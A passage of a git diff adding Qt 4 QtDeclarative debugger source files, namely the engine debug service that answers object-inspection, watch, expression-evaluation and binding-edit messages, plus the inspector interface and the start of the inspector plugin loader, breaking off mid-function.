+static bool hasValidSignal(QObject *object, const QString &propertyName)
+{
+ if (!isSignalPropertyName(propertyName))
+ return false;
+
+ QString signalName = propertyName.mid(2);
+ signalName[0] = signalName.at(0).toLower();
+
+ int sigIdx = QDeclarativePropertyPrivate::findSignalByName(object->metaObject(), signalName.toLatin1()).methodIndex();
+
+ if (sigIdx == -1)
+ return false;
+
+ return true;
+}
+
+QDeclarativeEngineDebugService::QDeclarativeObjectProperty
+QDeclarativeEngineDebugService::propertyData(QObject *obj, int propIdx)
+{
+ QDeclarativeObjectProperty rv;
+
+ QMetaProperty prop = obj->metaObject()->property(propIdx);
+
+ rv.type = QDeclarativeObjectProperty::Unknown;
+ rv.valueTypeName = QString::fromUtf8(prop.typeName());
+ rv.name = QString::fromUtf8(prop.name());
+ rv.hasNotifySignal = prop.hasNotifySignal();
+ QDeclarativeAbstractBinding *binding =
+ QDeclarativePropertyPrivate::binding(QDeclarativeProperty(obj, rv.name));
+ if (binding)
+ rv.binding = binding->expression();
+
+ if (QDeclarativeValueTypeFactory::isValueType(prop.userType())) {
+ rv.type = QDeclarativeObjectProperty::Basic;
+ } else if (QDeclarativeMetaType::isQObject(prop.userType())) {
+ rv.type = QDeclarativeObjectProperty::Object;
+ } else if (QDeclarativeMetaType::isList(prop.userType())) {
+ rv.type = QDeclarativeObjectProperty::List;
+ }
+
+ QVariant value;
+ if (rv.type != QDeclarativeObjectProperty::Unknown && prop.userType() != 0) {
+ value = prop.read(obj);
+ }
+ rv.value = valueContents(value);
+
+ return rv;
+}
+
+QVariant QDeclarativeEngineDebugService::valueContents(const QVariant &value) const
+{
+ int userType = value.userType();
+
+ if (value.type() == QVariant::List) {
+ QVariantList contents;
+ QVariantList list = value.toList();
+ int count = list.size();
+ for (int i = 0; i < count; i++)
+ contents << valueContents(list.at(i));
+ return contents;
+ }
+
+ if (QDeclarativeValueTypeFactory::isValueType(userType))
+ return value;
+
+ if (QDeclarativeMetaType::isQObject(userType)) {
+ QObject *o = QDeclarativeMetaType::toQObject(value);
+ if (o) {
+ QString name = o->objectName();
+ if (name.isEmpty())
+ name = QLatin1String("<unnamed object>");
+ return name;
+ }
+ }
+
+ return QLatin1String("<unknown value>");
+}
+
+void QDeclarativeEngineDebugService::buildObjectDump(QDataStream &message,
+ QObject *object, bool recur, bool dumpProperties)
+{
+ message << objectData(object);
+
+ QObjectList children = object->children();
+
+ int childrenCount = children.count();
+ for (int ii = 0; ii < children.count(); ++ii) {
+ if (qobject_cast<QDeclarativeContext*>(children[ii]) || QDeclarativeBoundSignal::cast(children[ii]))
+ --childrenCount;
+ }
+
+ message << childrenCount << recur;
+
+ QList<QDeclarativeObjectProperty> fakeProperties;
+
+ for (int ii = 0; ii < children.count(); ++ii) {
+ QObject *child = children.at(ii);
+ if (qobject_cast<QDeclarativeContext*>(child))
+ continue;
+ QDeclarativeBoundSignal *signal = QDeclarativeBoundSignal::cast(child);
+ if (signal) {
+ if (!dumpProperties)
+ continue;
+ QDeclarativeObjectProperty prop;
+ prop.type = QDeclarativeObjectProperty::SignalProperty;
+ prop.hasNotifySignal = false;
+ QDeclarativeExpression *expr = signal->expression();
+ if (expr) {
+ prop.value = expr->expression();
+ QObject *scope = expr->scopeObject();
+ if (scope) {
+ QString sig = QLatin1String(scope->metaObject()->method(signal->index()).signature());
+ int lparen = sig.indexOf(QLatin1Char('('));
+ if (lparen >= 0) {
+ QString methodName = sig.mid(0, lparen);
+ prop.name = QLatin1String("on") + methodName[0].toUpper()
+ + methodName.mid(1);
+ }
+ }
+ }
+ fakeProperties << prop;
+ } else {
+ if (recur)
+ buildObjectDump(message, child, recur, dumpProperties);
+ else
+ message << objectData(child);
+ }
+ }
+
+ if (!dumpProperties) {
+ message << 0;
+ return;
+ }
+
+ QList<int> propertyIndexes;
+ for (int ii = 0; ii < object->metaObject()->propertyCount(); ++ii) {
+ if (object->metaObject()->property(ii).isScriptable())
+ propertyIndexes << ii;
+ }
+
+ message << propertyIndexes.size() + fakeProperties.count();
+
+ for (int ii = 0; ii < propertyIndexes.size(); ++ii)
+ message << propertyData(object, propertyIndexes.at(ii));
+
+ for (int ii = 0; ii < fakeProperties.count(); ++ii)
+ message << fakeProperties[ii];
+}
+
+void QDeclarativeEngineDebugService::prepareDeferredObjects(QObject *obj)
+{
+ qmlExecuteDeferred(obj);
+
+ QObjectList children = obj->children();
+ for (int ii = 0; ii < children.count(); ++ii) {
+ QObject *child = children.at(ii);
+ prepareDeferredObjects(child);
+ }
+
+}
+
+void QDeclarativeEngineDebugService::buildObjectList(QDataStream &message, QDeclarativeContext *ctxt)
+{
+ QDeclarativeContextData *p = QDeclarativeContextData::get(ctxt);
+
+ QString ctxtName = ctxt->objectName();
+ int ctxtId = QDeclarativeDebugService::idForObject(ctxt);
+
+ message << ctxtName << ctxtId;
+
+ int count = 0;
+
+ QDeclarativeContextData *child = p->childContexts;
+ while (child) {
+ ++count;
+ child = child->nextChild;
+ }
+
+ message << count;
+
+ child = p->childContexts;
+ while (child) {
+ buildObjectList(message, child->asQDeclarativeContext());
+ child = child->nextChild;
+ }
+
+ // Clean deleted objects
+ QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(ctxt);
+ for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) {
+ if (!ctxtPriv->instances.at(ii)) {
+ ctxtPriv->instances.removeAt(ii);
+ --ii;
+ }
+ }
+
+ message << ctxtPriv->instances.count();
+ for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) {
+ message << objectData(ctxtPriv->instances.at(ii));
+ }
+}
+
+void QDeclarativeEngineDebugService::buildStatesList(QDeclarativeContext *ctxt, bool cleanList=false)
+{
+ if (cleanList)
+ m_allStates.clear();
+
+ QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(ctxt);
+ for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) {
+ buildStatesList(ctxtPriv->instances.at(ii));
+ }
+
+ QDeclarativeContextData *child = QDeclarativeContextData::get(ctxt)->childContexts;
+ while (child) {
+ buildStatesList(child->asQDeclarativeContext());
+ child = child->nextChild;
+ }
+}
+
+void QDeclarativeEngineDebugService::buildStatesList(QObject *obj)
+{
+ if (QDeclarativeState *state = qobject_cast<QDeclarativeState *>(obj)) {
+ m_allStates.append(state);
+ }
+
+ QObjectList children = obj->children();
+ for (int ii = 0; ii < children.count(); ++ii) {
+ buildStatesList(children.at(ii));
+ }
+}
+
+QDeclarativeEngineDebugService::QDeclarativeObjectData
+QDeclarativeEngineDebugService::objectData(QObject *object)
+{
+ QDeclarativeData *ddata = QDeclarativeData::get(object);
+ QDeclarativeObjectData rv;
+ if (ddata && ddata->outerContext) {
+ rv.url = ddata->outerContext->url;
+ rv.lineNumber = ddata->lineNumber;
+ rv.columnNumber = ddata->columnNumber;
+ } else {
+ rv.lineNumber = -1;
+ rv.columnNumber = -1;
+ }
+
+ QDeclarativeContext *context = qmlContext(object);
+ if (context) {
+ QDeclarativeContextData *cdata = QDeclarativeContextData::get(context);
+ if (cdata)
+ rv.idString = cdata->findObjectId(object);
+ }
+
+ rv.objectName = object->objectName();
+ rv.objectId = QDeclarativeDebugService::idForObject(object);
+ rv.contextId = QDeclarativeDebugService::idForObject(qmlContext(object));
+
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
+ if (type) {
+ QString typeName = QLatin1String(type->qmlTypeName());
+ int lastSlash = typeName.lastIndexOf(QLatin1Char('/'));
+ rv.objectType = lastSlash < 0 ? typeName : typeName.mid(lastSlash+1);
+ } else {
+ rv.objectType = QString::fromUtf8(object->metaObject()->className());
+ int marker = rv.objectType.indexOf(QLatin1String("_QMLTYPE_"));
+ if (marker != -1)
+ rv.objectType = rv.objectType.left(marker);
+ }
+
+ return rv;
+}
+
+void QDeclarativeEngineDebugService::messageReceived(const QByteArray &message)
+{
+ QDataStream ds(message);
+
+ QByteArray type;
+ ds >> type;
+
+ if (type == "LIST_ENGINES") {
+ int queryId;
+ ds >> queryId;
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("LIST_ENGINES_R");
+ rs << queryId << m_engines.count();
+
+ for (int ii = 0; ii < m_engines.count(); ++ii) {
+ QDeclarativeEngine *engine = m_engines.at(ii);
+
+ QString engineName = engine->objectName();
+ int engineId = QDeclarativeDebugService::idForObject(engine);
+
+ rs << engineName << engineId;
+ }
+
+ sendMessage(reply);
+ } else if (type == "LIST_OBJECTS") {
+ int queryId;
+ int engineId = -1;
+ ds >> queryId >> engineId;
+
+ QDeclarativeEngine *engine =
+ qobject_cast<QDeclarativeEngine *>(QDeclarativeDebugService::objectForId(engineId));
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("LIST_OBJECTS_R") << queryId;
+
+ if (engine) {
+ buildObjectList(rs, engine->rootContext());
+ buildStatesList(engine->rootContext(), true);
+ }
+
+ sendMessage(reply);
+ } else if (type == "FETCH_OBJECT") {
+ int queryId;
+ int objectId;
+ bool recurse;
+ bool dumpProperties = true;
+
+ ds >> queryId >> objectId >> recurse >> dumpProperties;
+
+ QObject *object = QDeclarativeDebugService::objectForId(objectId);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("FETCH_OBJECT_R") << queryId;
+
+ if (object) {
+ if (recurse)
+ prepareDeferredObjects(object);
+ buildObjectDump(rs, object, recurse, dumpProperties);
+ }
+
+ sendMessage(reply);
+ } else if (type == "WATCH_OBJECT") {
+ int queryId;
+ int objectId;
+
+ ds >> queryId >> objectId;
+ bool ok = m_watch->addWatch(queryId, objectId);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("WATCH_OBJECT_R") << queryId << ok;
+
+ sendMessage(reply);
+ } else if (type == "WATCH_PROPERTY") {
+ int queryId;
+ int objectId;
+ QByteArray property;
+
+ ds >> queryId >> objectId >> property;
+ bool ok = m_watch->addWatch(queryId, objectId, property);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("WATCH_PROPERTY_R") << queryId << ok;
+
+ sendMessage(reply);
+ } else if (type == "WATCH_EXPR_OBJECT") {
+ int queryId;
+ int debugId;
+ QString expr;
+
+ ds >> queryId >> debugId >> expr;
+ bool ok = m_watch->addWatch(queryId, debugId, expr);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("WATCH_EXPR_OBJECT_R") << queryId << ok;
+ sendMessage(reply);
+ } else if (type == "NO_WATCH") {
+ int queryId;
+
+ ds >> queryId;
+ m_watch->removeWatch(queryId);
+ } else if (type == "EVAL_EXPRESSION") {
+ int queryId;
+ int objectId;
+ QString expr;
+
+ ds >> queryId >> objectId >> expr;
+
+ QObject *object = QDeclarativeDebugService::objectForId(objectId);
+ QDeclarativeContext *context = qmlContext(object);
+ QVariant result;
+ if (object && context) {
+ QDeclarativeExpression exprObj(context, object, expr);
+ bool undefined = false;
+ QVariant value = exprObj.evaluate(&undefined);
+ if (undefined)
+ result = QLatin1String("<undefined>");
+ else
+ result = valueContents(value);
+ } else {
+ result = QLatin1String("<unknown context>");
+ }
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("EVAL_EXPRESSION_R") << queryId << result;
+
+ sendMessage(reply);
+ } else if (type == "SET_BINDING") {
+ int objectId;
+ QString propertyName;
+ QVariant expr;
+ bool isLiteralValue;
+ QString filename;
+ int line;
+ ds >> objectId >> propertyName >> expr >> isLiteralValue;
+ if (!ds.atEnd()) { // backward compatibility from 2.1, 2.2
+ ds >> filename >> line;
+ }
+ setBinding(objectId, propertyName, expr, isLiteralValue, filename, line);
+ } else if (type == "RESET_BINDING") {
+ int objectId;
+ QString propertyName;
+ ds >> objectId >> propertyName;
+ resetBinding(objectId, propertyName);
+ } else if (type == "SET_METHOD_BODY") {
+ int objectId;
+ QString methodName;
+ QString methodBody;
+ ds >> objectId >> methodName >> methodBody;
+ setMethodBody(objectId, methodName, methodBody);
+ }
+}
+
+void QDeclarativeEngineDebugService::setBinding(int objectId,
+ const QString &propertyName,
+ const QVariant &expression,
+ bool isLiteralValue,
+ QString filename,
+ int line)
+{
+ QObject *object = objectForId(objectId);
+ QDeclarativeContext *context = qmlContext(object);
+
+ if (object && context) {
+ QDeclarativeProperty property(object, propertyName, context);
+ if (property.isValid()) {
+
+ bool inBaseState = true;
+
+ foreach(QWeakPointer<QDeclarativeState> statePointer, m_allStates) {
+ if (QDeclarativeState *state = statePointer.data()) {
+ // here we assume that the revert list on itself defines the base state
+ if (state->isStateActive() && state->containsPropertyInRevertList(object, propertyName)) {
+ inBaseState = false;
+
+ QDeclarativeBinding *newBinding = 0;
+ if (!isLiteralValue) {
+ newBinding = new QDeclarativeBinding(expression.toString(), object, context);
+ newBinding->setTarget(property);
+ newBinding->setNotifyOnValueChanged(true);
+ newBinding->setSourceLocation(filename, line);
+ }
+
+ state->changeBindingInRevertList(object, propertyName, newBinding);
+
+ if (isLiteralValue)
+ state->changeValueInRevertList(object, propertyName, expression);
+ }
+ }
+ }
+
+ if (inBaseState) {
+ if (isLiteralValue) {
+ property.write(expression);
+ } else if (hasValidSignal(object, propertyName)) {
+ QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString());
+ QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression);
+ declarativeExpression->setSourceLocation(filename, line);
+ } else if (property.isProperty()) {
+ QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context);
+ binding->setTarget(property);
+ binding->setSourceLocation(filename, line);
+ binding->setNotifyOnValueChanged(true);
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding);
+ if (oldBinding)
+ oldBinding->destroy();
+ binding->update();
+ } else {
+ qWarning() << "QDeclarativeEngineDebugService::setBinding: unable to set property" << propertyName << "on object" << object;
+ }
+ }
+
+ } else {
+ // not a valid property
+ if (QDeclarativePropertyChanges *propertyChanges = qobject_cast<QDeclarativePropertyChanges *>(object)) {
+ if (isLiteralValue) {
+ propertyChanges->changeValue(propertyName, expression);
+ } else {
+ propertyChanges->changeExpression(propertyName, expression.toString());
+ }
+ } else {
+ qWarning() << "QDeclarativeEngineDebugService::setBinding: unable to set property" << propertyName << "on object" << object;
+ }
+ }
+ }
+}
+
+void QDeclarativeEngineDebugService::resetBinding(int objectId, const QString &propertyName)
+{
+ QObject *object = objectForId(objectId);
+ QDeclarativeContext *context = qmlContext(object);
+
+ if (object && context) {
+ if (object->property(propertyName.toLatin1()).isValid()) {
+ QDeclarativeProperty property(object, propertyName);
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(property);
+ if (oldBinding) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, 0);
+ if (oldBinding)
+ oldBinding->destroy();
+ }
+ if (property.isResettable()) {
+ // Note: this will reset the property in any case, without regard to states
+ // Right now almost no QDeclarativeItem has reset methods for its properties (with the
+ // notable exception of QDeclarativeAnchors), so this is not a big issue
+ // later on, setBinding does take states into account
+ property.reset();
+ } else {
+ // overwrite with default value
+ if (QDeclarativeType *objType = QDeclarativeMetaType::qmlType(object->metaObject())) {
+ if (QObject *emptyObject = objType->create()) {
+ if (emptyObject->property(propertyName.toLatin1()).isValid()) {
+ QVariant defaultValue = QDeclarativeProperty(emptyObject, propertyName).read();
+ if (defaultValue.isValid()) {
+ setBinding(objectId, propertyName, defaultValue, true);
+ }
+ }
+ delete emptyObject;
+ }
+ }
+ }
+ } else if (hasValidSignal(object, propertyName)) {
+ QDeclarativeProperty property(object, propertyName, context);
+ QDeclarativePropertyPrivate::setSignalExpression(property, 0);
+ } else {
+ if (QDeclarativePropertyChanges *propertyChanges = qobject_cast<QDeclarativePropertyChanges *>(object)) {
+ propertyChanges->removeProperty(propertyName);
+ }
+ }
+ }
+}
+
+void QDeclarativeEngineDebugService::setMethodBody(int objectId, const QString &method, const QString &body)
+{
+ QObject *object = objectForId(objectId);
+ QDeclarativeContext *context = qmlContext(object);
+ if (!object || !context || !context->engine())
+ return;
+ QDeclarativeContextData *contextData = QDeclarativeContextData::get(context);
+ if (!contextData)
+ return;
+
+ QDeclarativePropertyCache::Data dummy;
+ QDeclarativePropertyCache::Data *prop =
+ QDeclarativePropertyCache::property(context->engine(), object, method, dummy);
+
+ if (!prop || !(prop->flags & QDeclarativePropertyCache::Data::IsVMEFunction))
+ return;
+
+ QMetaMethod metaMethod = object->metaObject()->method(prop->coreIndex);
+ QList<QByteArray> paramNames = metaMethod.parameterNames();
+
+ QString paramStr;
+ for (int ii = 0; ii < paramNames.count(); ++ii) {
+ if (ii != 0) paramStr.append(QLatin1String(","));
+ paramStr.append(QString::fromUtf8(paramNames.at(ii)));
+ }
+
+ QString jsfunction = QLatin1String("(function ") + method + QLatin1String("(") + paramStr +
+ QLatin1String(") {");
+ jsfunction += body;
+ jsfunction += QLatin1String("\n})");
+
+ QDeclarativeVMEMetaObject *vmeMetaObject =
+ static_cast<QDeclarativeVMEMetaObject*>(QObjectPrivate::get(object)->metaObject);
+ Q_ASSERT(vmeMetaObject); // the fact we found the property above should guarentee this
+
+ int lineNumber = vmeMetaObject->vmeMethodLineNumber(prop->coreIndex);
+ vmeMetaObject->setVmeMethod(prop->coreIndex, QDeclarativeExpressionPrivate::evalInObjectScope(contextData, object, jsfunction, contextData->url.toString(), lineNumber, 0));
+}
+
+void QDeclarativeEngineDebugService::propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+
+ rs << QByteArray("UPDATE_WATCH") << id << objectId << QByteArray(property.name()) << valueContents(value);
+
+ sendMessage(reply);
+}
+
+void QDeclarativeEngineDebugService::addEngine(QDeclarativeEngine *engine)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(!m_engines.contains(engine));
+
+ m_engines.append(engine);
+}
+
+void QDeclarativeEngineDebugService::remEngine(QDeclarativeEngine *engine)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(m_engines.contains(engine));
+
+ m_engines.removeAll(engine);
+}
+
+void QDeclarativeEngineDebugService::objectCreated(QDeclarativeEngine *engine, QObject *object)
+{
+ Q_ASSERT(engine);
+ Q_ASSERT(m_engines.contains(engine));
+
+ int engineId = QDeclarativeDebugService::idForObject(engine);
+ int objectId = QDeclarativeDebugService::idForObject(object);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+
+ rs << QByteArray("OBJECT_CREATED") << engineId << objectId;
+ sendMessage(reply);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativeenginedebugservice_p.h b/src/declarative/debugger/qdeclarativeenginedebugservice_p.h
new file mode 100644
index 00000000..864fa13a
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeenginedebugservice_p.h
@@ -0,0 +1,134 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEENGINEDEBUGSERVICE_P_H
+#define QDECLARATIVEENGINEDEBUGSERVICE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <private/qdeclarativedebugservice_p.h>
+
+#include <QtCore/qurl.h>
+#include <QtCore/qvariant.h>
+#include <QWeakPointer>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeContext;
+class QDeclarativeWatcher;
+class QDataStream;
+class QDeclarativeState;
+
+class QDeclarativeEngineDebugService : public QDeclarativeDebugService
+{
+ Q_OBJECT
+public:
+ QDeclarativeEngineDebugService(QObject * = 0);
+
+ struct QDeclarativeObjectData {
+ QUrl url;
+ int lineNumber;
+ int columnNumber;
+ QString idString;
+ QString objectName;
+ QString objectType;
+ int objectId;
+ int contextId;
+ };
+
+ struct QDeclarativeObjectProperty {
+ enum Type { Unknown, Basic, Object, List, SignalProperty };
+ Type type;
+ QString name;
+ QVariant value;
+ QString valueTypeName;
+ QString binding;
+ bool hasNotifySignal;
+ };
+
+ void addEngine(QDeclarativeEngine *);
+ void remEngine(QDeclarativeEngine *);
+ void objectCreated(QDeclarativeEngine *, QObject *);
+
+ static QDeclarativeEngineDebugService *instance();
+
+protected:
+ virtual void messageReceived(const QByteArray &);
+
+private Q_SLOTS:
+ void propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value);
+
+private:
+ void prepareDeferredObjects(QObject *);
+ void buildObjectList(QDataStream &, QDeclarativeContext *);
+ void buildObjectDump(QDataStream &, QObject *, bool, bool);
+ void buildStatesList(QDeclarativeContext *, bool);
+ void buildStatesList(QObject *obj);
+ QDeclarativeObjectData objectData(QObject *);
+ QDeclarativeObjectProperty propertyData(QObject *, int);
+ QVariant valueContents(const QVariant &defaultValue) const;
+ void setBinding(int objectId, const QString &propertyName, const QVariant &expression, bool isLiteralValue, QString filename = QString(), int line = -1);
+ void resetBinding(int objectId, const QString &propertyName);
+ void setMethodBody(int objectId, const QString &method, const QString &body);
+
+ QList<QDeclarativeEngine *> m_engines;
+ QDeclarativeWatcher *m_watch;
+ QList<QWeakPointer<QDeclarativeState> > m_allStates;
+};
+Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator<<(QDataStream &, const QDeclarativeEngineDebugService::QDeclarativeObjectData &);
+Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator>>(QDataStream &, QDeclarativeEngineDebugService::QDeclarativeObjectData &);
+Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator<<(QDataStream &, const QDeclarativeEngineDebugService::QDeclarativeObjectProperty &);
+Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator>>(QDataStream &, QDeclarativeEngineDebugService::QDeclarativeObjectProperty &);
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEENGINEDEBUGSERVICE_P_H
+
diff --git a/src/declarative/debugger/qdeclarativeinspectorinterface_p.h b/src/declarative/debugger/qdeclarativeinspectorinterface_p.h
new file mode 100644
index 00000000..bd7cd954
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeinspectorinterface_p.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEOBSERVERINTERFACE_H
+#define QDECLARATIVEOBSERVERINTERFACE_H
+
+#include <QtDeclarative/private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_DECLARATIVE_EXPORT QDeclarativeInspectorInterface
+{
+public:
+ QDeclarativeInspectorInterface() {}
+ virtual ~QDeclarativeInspectorInterface() {}
+
+ virtual void activate() = 0;
+ virtual void deactivate() = 0;
+};
+
+Q_DECLARE_INTERFACE(QDeclarativeInspectorInterface, "com.trolltech.Qt.QDeclarativeInspectorInterface/1.0")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEOBSERVERINTERFACE_H
diff --git a/src/declarative/debugger/qdeclarativeinspectorservice.cpp b/src/declarative/debugger/qdeclarativeinspectorservice.cpp
new file mode 100644
index 00000000..b651b259
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeinspectorservice.cpp
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeinspectorservice_p.h"
+#include "private/qdeclarativeinspectorinterface_p.h"
+
+#include <QtCore/QCoreApplication>
+#include <QtCore/QDebug>
+#include <QtCore/QDir>
+#include <QtCore/QPluginLoader>
+
+#include <QtDeclarative/QDeclarativeView>
+
+QT_BEGIN_NAMESPACE
+
+Q_GLOBAL_STATIC(QDeclarativeInspectorService, serviceInstance)
+
+QDeclarativeInspectorService::QDeclarativeInspectorService()
+ : QDeclarativeDebugService(QLatin1String("QDeclarativeObserverMode"))
+ , m_inspectorPlugin(0)
+{
+}
+
+QDeclarativeInspectorService *QDeclarativeInspectorService::instance()
+{
+ return serviceInstance();
+}
+
+void QDeclarativeInspectorService::addView(QDeclarativeView *view)
+{
+ m_views.append(view);
+ updateStatus();
+}
+
+void QDeclarativeInspectorService::removeView(QDeclarativeView *view)
+{
+ m_views.removeAll(view);
+ updateStatus();
+}
+
+void QDeclarativeInspectorService::sendMessage(const QByteArray &message)
+{
+ if (status() != Enabled)
+ return;
+
+ QDeclarativeDebugService::sendMessage(message);
+}
+
+void QDeclarativeInspectorService::statusChanged(Status status)
+{
+ updateStatus();
+}
+
+void QDeclarativeInspectorService::updateStatus()
+{
+ if (m_views.isEmpty()) {
+ if (m_inspectorPlugin)
+ m_inspectorPlugin->deactivate();
+ return;
+ }
+
+ if (status() == Enabled) {
+ if (!m_inspectorPlugin)
+ m_inspectorPlugin = loadInspectorPlugin();
+
+ if (!m_inspectorPlugin) {
+ qWarning() << "Error while loading inspector plugin";
+ return;
+ }
+
+ m_inspectorPlugin->activate();
+ } else {
+ if (m_inspectorPlugin)
+ m_inspectorPlugin->deactivate();
+ }
+}
+
+void QDeclarativeInspectorService::messageReceived(const QByteArray &message)
+{
+ emit gotMessage(message);
+}
+
+QDeclarativeInspectorInterface *QDeclarativeInspectorService::loadInspectorPlugin()
+{
+ QStringList pluginCandidates;
+ const QStringList paths = QCoreApplication::libraryPaths();
+ foreach (const QString &libPath, paths) {
+ const QDir dir(libPath + QLatin1String("/qmltooling"));
+ if (dir.exists())
+ foreach (const QString &pluginPath, dir.entryList(QDir::Files))
+ pluginCandidates << dir.absoluteFilePath(pluginPath);
+ }
+
+ foreach (const QString &pluginPath, pluginCandidates) {
+ QPluginLoader loader(pluginPath);
+ if (!loader.load())
+ continue;
+
+ QDeclarativeInspectorInterface *inspector =
